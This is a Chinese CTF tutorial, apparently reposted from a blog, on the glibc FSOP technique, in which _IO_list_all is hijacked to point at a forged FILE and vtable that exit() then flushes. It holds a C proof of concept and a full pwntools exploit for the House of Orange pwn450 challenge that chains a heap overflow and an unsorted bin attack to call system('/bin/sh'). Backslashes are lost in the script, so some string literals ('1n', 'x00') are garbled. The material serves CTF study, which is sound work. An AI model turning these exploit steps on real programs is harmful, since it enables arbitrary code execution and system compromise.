IO_FILE hack FSOP
Posted Nullan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了IO_FILE hack FSOP相关的知识,希望对你有一定的参考价值。
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
概述
来自CTFwiki
FSOP是File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。
FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。
FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}
而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
-
当 libc 执行 abort 流程时
-
当执行 exit 函数时
-
当执行流从 main 函数返回时
hack
FSOP 利用的条件:
(1)首先需要攻击者获知 libc.so 基址,因为_IO_list_all 是作为全局变量储存在 libc.so 中的,不泄漏 libc 基址就不能改写_IO_list_all。
(2)之后需要用任意地址写把_IO_list_all 的内容改为指向我们可控内存的指针
(3) 布置数据
之后的问题是在可控内存中布置什么数据,毫无疑问的是需要布置一个我们理想函数的 vtable 指针。但是为了能够让我们构造的 fake_FILE 能够正常工作,还需要布置一些其他数据。 这里的依据是我们前面给出的
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
因此上面的if语句实质上是判断该FILE结构输出缓冲区是否还有数据,如果有的话则调用_IO_OVERFLOW去刷新缓冲区。
其中_IO_OVERFLOW是vtable中的函数,因此如果我们可以控制_IO_list_all链表中的一个节点的话,就有可能控制程序执行流。
就是这一小段
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
验证思路:
首先我们分配一块内存用于存放伪造的 vtable 和_IO_FILE_plus。 为了绕过验证,我们提前获得了_IO_write_ptr、_IO_write_base、_mode 等数据域的偏移,这样可以在伪造的 vtable 中构造相应的数据
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8
int main(void)
{
void *ptr;
long long *list_all_ptr;
ptr=malloc(0x200);//申请0x200个字节,后 0x100 个字节作为 vtable,在 vtable 中使用 0x41414141 这个地址作为伪造的_IO_overflow 指针。
*(long long*)((long long)ptr+mode_offset)=0x0;
//fp->_mode <= 0
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
//fp->_IO_write_ptr > fp->_IO_write_base
//在每个指针指向的地方写数据
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
*(long long*)((long long)ptr+0x100+24)=0x41414141;
//后 0x100 个字节作为 vtable
list_all_ptr=(long long *)_IO_list_all;
//覆盖位于 libc 中的全局变量 _IO_list_all,把它指向我们伪造的_IO_FILE_plus。
list_all_ptr[0]=ptr;
//修改_IO_overflow
exit(0);
//通过调用 exit 函数,程序会执行 _IO_flush_all_lockp,经过 fflush 获取_IO_list_all 的值并取出作为_IO_FILE_plus 调用其中的_IO_overflow
}
前 0x100 个字节作为_IO_FILE,后 0x100 个字节作为 vtable,在 vtable 中使用 0x41414141 这个地址作为伪造的_IO_overflow 指针。
之后,覆盖位于 libc 中的全局变量 _IO_list_all,把它指向我们伪造的_IO_FILE_plus。
通过调用 exit 函数,程序会执行 _IO_flush_all_lockp,经过 fflush 获取_IO_list_all 的值并取出作为_IO_FILE_plus 调用其中的_IO_overflow,
---> call _IO_overflow
[#0] 0x7ffff7a89193 → Name: _IO_flush_all_lockp(do_lock=0x0)
[#1] 0x7ffff7a8932a → Name: _IO_cleanup()
[#2] 0x7ffff7a46f9b → Name: __run_exit_handlers(status=0x0, listp=<optimized out>, run_list_atexit=0x1)
[#3] 0x7ffff7a47045 → Name: __GI_exit(status=<optimized out>)
[#4] 0x4005ce → Name: main()
还有一种利用方法,将该链表中的一个节点(_chain字段)指向伪造的数据,最终触发_IO_flush_all_lockp,绕过检查,调用_IO_OVERFLOW时实现执行流劫持。
例题:House of orange 2016-pwn450
程序中使用的unsorted bin attack改写_IO_list_all,使用sysmalloc得到unsorted
思路
题目是一道菜单题,可以创建、编辑、以及删除堆块,其中只允许同时对一个堆块进行操作,只有释放了当前堆块才可以申请下一个堆块。
也就是说不能通过 free unsorted bin通过堆叠打印了
在创建函数中,堆块被malloc出来后会打印堆的地址,可以使用该函数来泄露堆地址。
漏洞在编辑函数中,编辑函数可以输入任意长的字符,因此可以造成堆溢出。
申请大的堆块,申请堆块很大时,mmap出来的内存堆块会紧贴着libc,可通过偏移得到libc地址。从下图中可以看到,当申请堆块大小为0x200000时,申请出来的堆块紧贴libc,可通过堆块地址得到libc基址。
利用top chunk不足时,系统会切一块新的top chunk,然后之前的,不够的top chunk会被释放,放入到unsorted bin中
size需要大于0x20(MINSIZE)
prev_inuse位要为1
top chunk address + top chunk size 必须是页对齐的(页大小一般为0x1000)
如果只有一个unsorted chunk,是无法实现 attack的,所以需要构造更多的unsorted chunk,这一点可以通过覆盖刚刚加入到unsorted bin里面的chunk的后一个chunk的prev inuse位,这样在从这个unsorted chunk中申请出一个小的chunk后再释放掉的时候,就不会发生合并,即可实现构造更多的unsorted chunk。
exp:
from pwn import *
from ctypes import *
DEBUG = 1
if DEBUG:
p = process('./note')
else:
#p = remote('106.75.84.74', 10001)
def add_note(size):
p.recvuntil('option--->>')
p.send('1n')
p.recvuntil('the size:')
p.send(str(size)+'n')
data=p.recvuntil('n')
try:
ptr=int(data[:-1],16)
except:
print data
return
return ptr
def delete_note():
p.recvuntil('option--->>')
p.send('4n')
def edit_note(data):
if "n" in data:
print "yes"
p.recvuntil('option--->>')
p.send('3n')
p.recvuntil('content:')
p.send(data+'n')
#call free func addr 0x4009AA
def pwn():
gdb.attach(p,"b *0x400946")
mmap=add_note(0x2000000)-0x10 #要减去size的0x10
libc=mmap+0x2001000 #gain the libc address
system_addr=libc+0x414f0
io_list=libc+0x3a4040
main_arena=libc+0x3A3620+88 #give offset
log.success("libc = " + hex(libc))
log.success("system address = " + hex(system_addr))
log.success("IO_LIST address = " + hex(io_list))
log.success("main_arena address = " + hex(main_arena - 88))
delete_note()# free掉之前的大块
heap=add_note(512)-0x10
print hex(heap)
data='a'*0x200+p64(0)+p64(0xdf1)+"x00"*0x18+p64(0x21)
edit_note(data) #make the top chunk size from 0x3000 to 0x1000
delete_note() #free掉512大小的chunk
add_note(0x1000) #then the top chunk will be freed, it will be puted to unsorted bin chunk
delete_note()#free掉0x1000的chunk
add_note(512)#unsorted bin中取出来512 字节的chunk
data="a"*0x200+p64(0)+p64(0xdd1)+p64(main_arena)+p64(main_arena)+'x00'*0xdb0+p64(0)+p64(0x11)
edit_note(data)
delete_note()#here, the chunk of 512 bytes will not consolidate with the 0xdd0 chunk, because the prev inuse bit has been set, 0x11
add_note(528) #this malloc will spilt the 0xdd0 chunk into two chunks, and system may put 512 chunk to the small bin chunk.
delete_note()# right now ,unsorted bin chunk has two chunk,one is 528,the other one is 0xdd0-528, and small bin chunk has one chunk ,which is 512
add_note(512)
data="a"*0x200+p64(0x210)+p64(0x221)+p64(heap+0x430)+p64(main_arena)+'x00'*(0x220-0x20)
fake_chunk_and_fake_io_list="/bin/shx00" + p64(0x61)+p64(0)+p64(io_list-0x10)#former 32bits is fake chunk
fake_chunk_and_fake_io_list+=p64(0) #write_base
fake_chunk_and_fake_io_list+=p64(1) #write_ptr satisfy fp->_IO_write_ptr > fp->_IO_write_base
fake_chunk_and_fake_io_list=fake_chunk_and_fake_io_list.ljust(0xc0,'x00')
fake_chunk_and_fake_io_list+=p64(0xffffffffffffffff) #here set fp->mode=-1 to bypass the check
fake_chunk_and_fake_io_list=fake_chunk_and_fake_io_list.ljust(0xd8,'x00')
vtable=heap+0x10+0x200+0x220+len(fake_chunk_and_fake_io_list)+8
fake_chunk_and_fake_io_list+=p64(vtable)
fake_chunk_and_fake_io_list+=p64(0) #dummy 0
fake_chunk_and_fake_io_list+=p64(0) #dummy 1
fake_chunk_and_fake_io_list+=p64(1)#finish addr
fake_chunk_and_fake_io_list+=p64(system_addr) #IO_OVERFLOW
data+=fake_chunk_and_fake_io_list
edit_note(data)
delete_note()
sleep(0.5)
add_note(0xb00)
p.interactive()
if __name__ == '__main__':
pwn()
以上是关于IO_FILE hack FSOP的主要内容,如果未能解决你的问题,请参考以下文章